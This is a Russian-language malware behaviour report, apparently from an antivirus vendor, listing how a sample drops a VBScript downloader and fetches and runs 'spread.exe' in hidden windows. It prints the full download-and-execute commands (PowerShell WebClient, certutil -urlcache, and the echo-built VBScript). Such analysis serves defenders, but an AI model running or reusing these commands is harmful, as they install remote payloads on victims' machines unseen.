Техническая информация
Вредоносные функции
Загружает
- 0xcccccc8dsb361 as c:/programdata/spread.exe
Изменения в файловой системе
Создает следующие файлы
- %PROGRAMDATA%\vbs.vbs
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cscript.exe' %PROGRAMDATA%\vbs.vbs 0xCCCCCC8Dsb361 %PROGRAMDATA%\spread.exe
- '<SYSTEM32>\cmd.exe' /c %PROGRAMDATA%\spread.exe' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('0xCCCCCC8Dsb361', 'c:/ProgramData/spread.exe');c:/ProgramData/spread.exe' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c certutil.exe -urlcache -split -f 0xCCCCCC8Dsb361 %PROGRAMDATA%\spread.exe&&%PROGRAMDATA%\spread.exe' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c echo on error resume next >%PROGRAMDATA%\vbs.vbs' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c echo with wscript:if .arguments.count^<2 then .quit:end if >>%PROGRAMDATA%\vbs.vbs' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >>%PROGRAMDATA%\vbs.vbs' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then quit >>%PROGRAMDATA%\vbs.vbs' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >>%PROGRAMDATA%\vbs.vbs' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c cscript %PROGRAMDATA%\vbs.vbs 0xCCCCCC8Dsb361 %PROGRAMDATA%\spread.exe' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c %PROGRAMDATA%\spread.exe
- '<SYSTEM32>\cmd.exe' /c powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('0xCCCCCC8Dsb361', 'c:/ProgramData/spread.exe');c:/ProgramData/spread.exe
- '<SYSTEM32>\cmd.exe' /c certutil.exe -urlcache -split -f 0xCCCCCC8Dsb361 %PROGRAMDATA%\spread.exe&&%PROGRAMDATA%\spread.exe
- '<SYSTEM32>\certutil.exe' -urlcache -split -f 0xCCCCCC8Dsb361 %PROGRAMDATA%\spread.exe
- '<SYSTEM32>\cmd.exe' /c echo on error resume next >%PROGRAMDATA%\vbs.vbs
- '<SYSTEM32>\cmd.exe' /c echo with wscript:if .arguments.count^<2 then .quit:end if >>%PROGRAMDATA%\vbs.vbs
- '<SYSTEM32>\cmd.exe' /c echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >>%PROGRAMDATA%\vbs.vbs
- '<SYSTEM32>\cmd.exe' /c echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then quit >>%PROGRAMDATA%\vbs.vbs
- '<SYSTEM32>\cmd.exe' /c echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >>%PROGRAMDATA%\vbs.vbs
- '<SYSTEM32>\cmd.exe' /c cscript %PROGRAMDATA%\vbs.vbs 0xCCCCCC8Dsb361 %PROGRAMDATA%\spread.exe
